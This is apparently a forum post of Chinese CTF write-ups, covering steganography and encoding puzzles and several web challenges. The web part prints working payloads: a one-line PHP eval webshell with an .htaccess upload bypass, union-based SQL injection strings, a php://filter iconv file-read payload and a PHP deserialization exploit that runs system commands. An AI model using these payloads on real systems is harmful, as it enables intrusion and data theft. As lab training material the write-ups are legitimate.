1.doc文档隐写,将如图所示的设置打开,即可看到文字。
2.新佛曰加密,在线网站解密。(http://hi.pcmoe.net/buddha.html)
1.附件是个音频,audacity打开,可以看到明显的长短波。
2.莫斯密码解密即可。
源报文:
..-./.-../.-/--./-/...././-..././.../-/-.-./-/..-././.-./../.../-.--/---/..-/
在线解码。(http://www.all-tool.cn/Tools/morse)
1.是个日志文件,里面全都是sql盲注的语句。
2.选择每一位判断的最后一个测试语句的值即可。
过滤出的数据
121,111,117,95,119,52,110,116,95,115,51,99,114,101,116,102,108,97,103,123,106,117,115,116,95,119,52,114,109,95,117,112,95,115,48,95,121,111,117,95,110,51,101,100,95,104,52,114,100,101,114,95,54,48,50,54,99,100,51,50,125,44
python写代码进行转换
list = [121, 111, 117, 95, 119, 52, 110, 116, 95, 115, 51, 99, 114, 101, 116, 102, 108, 97, 103, 123, 106, 117, 115,
116, 95, 119, 52, 114, 109, 95, 117, 112, 95, 115, 48, 95, 121, 111, 117, 95, 110, 51, 101, 100, 95, 104, 52,
114, 100, 101, 114, 95, 54, 48, 50, 54, 99, 100, 51, 50, 125, 44]
str = ""
for i in list:
str += chr(i)
print(str) # you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32},
1.文件打开,是169行的base64编码,尝试解码一下。
import base64
with open("base.txt") as f:
readlines = f.readlines()
for i in readlines:
print(base64.b64decode(i))
从结果中看不到flag字样,说明想法错了。
2.但是内容确实是base64编码的结果,这就涉及到base64隐写了,可以通过工具进行提取。(工具放附件)
再将隐写信息进行base58解码即可。
1.有一个附件,打开。
编写php脚本对其进行解密。
<?php
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('此处省略题目文件中的编码内容')))));";
for($i=0; $i<50; $i++){
if(preg_match("/base64/",$shell)){
$tmp = preg_replace("/eval/","return ",$shell);
$shell = eval($tmp);
}else{
break;
}
}
echo $shell;
最终得到webshell。
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);
2.拿到webshell,下面就是一个简单的远程命令执行。
1.根据题目提示,参考题目名jvav,可以检阅到java盲水印的知识,可以利用github上的这个项目来提取java盲水印内容。(https://github.com/ww23/BlindWaterMark)
1.查看源代码中的app_v2.js文件内容,可以看到在游戏结束的处理时代码如下:
//游戏结束
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
alert("成绩:"+gameScore);
gameScore=0;
curPhase =PHASE_READY;
hero = null;
hero = new Hero();
}
可以看到当分数大于10w分的时候XHR会向api.php发送一个json数据包,json内容如下:
{"score":gameScore}
然后我们可以使用burp来完成发包。
POST /api.php HTTP/1.1
Host: 1e0fed80-3253-4d31-b5b4-8a395ccb9981.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 17
Connection: close
{"score":1000000}
除此之外也可以直接在控制台设置gameScore的值,然后结束游戏就可以获得Flag:
1.进入题目给出源码,需要读取flag.php文件,读取PHP文件需要使用 php://filter 协议中的过滤器来对文件内容进行编码,但是这里过滤了base和rot。
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope
还有其他的一些过滤器可以使用,例如convert.iconv系列的过滤器,由此构造Payload:
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
得到flag.php文件经过编码后的内容:
+ADw?php //flag+AHs-ee20fad7-2af6-4ca4-8700-bc584e38a2e3+AH0
可以直接根据Flag格式转换出原本的文件内容,或者找个在线的utf-7转utf-8工具(https://www.novel.tools/decode/UTF-7)
1.随便可以点个链接,发现有传参值id。
2.大概率存在sql注入,给id传 TMP0919’# ,可以查出结果,说明存在注入。#要编码成%23。
查询的信息可以回显,说明是union注入,然后要判断字段数。
?id=TMP0919' Order by 1#
从1一直递增,递增到6时,页面不回显,说明字段数是5。
判断显错位
?id=1' uNion Select 1,2,3,4,5#
查询表名
?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23
查询字段名
?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23
查询Flag值:
?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23
1.进入题目给出源码,思路很简单,只需要设置evil类中cmd成员的值然后反序列化触发__destruct析构函数即可触发RCE。
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
RCE的绕过也很简单,过滤了一些读取文件的命令,但是仍然很多命令可以用,例如head。
需要注意的是这里的cmd是private属性的,因此需要对序列化字符串进行urlencode,构造Exp如下:
<?php
class evil {
private $cmd = 'head /th1s_1s_fffflllll4444aaaggggg';
}
echo urlencode(serialize(newevil));//O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22head%20%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D
注意要把命令中的加号替换为%20或者空格。
本题主要考点是绕过后端对后缀名的限制,apache解析漏洞,绕过对文件内容的检测
1.上传一个一句话木马,但是后缀为jpg格式,上传成功,但是访问不能将其解析为php。
2.抓包,尝试修改上传的内容为如下内容,来绕过<?的过滤
<script language="php">@eval($_REQUEST['8']);</script>
然后上传.htaccess文件,让服务器把.jpg文件当成php解析。
AddType application/x-httpd-php .jpg
然后再访问上传的3.jpg,执行一句话木马。
1.首先看到提示有信息泄露,可以使用dirsearch扫,扫出了 /.git 。
2.使用GitHack工具获取源码。
扫出index.php,就是主页的源码,没有有效信息,还有一个bo0g1pop.php ,代码如下:
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。
第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 400.00 | 0 | 2023-10-16 21:09:03 | 深度 100 普适 100 可读 200 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.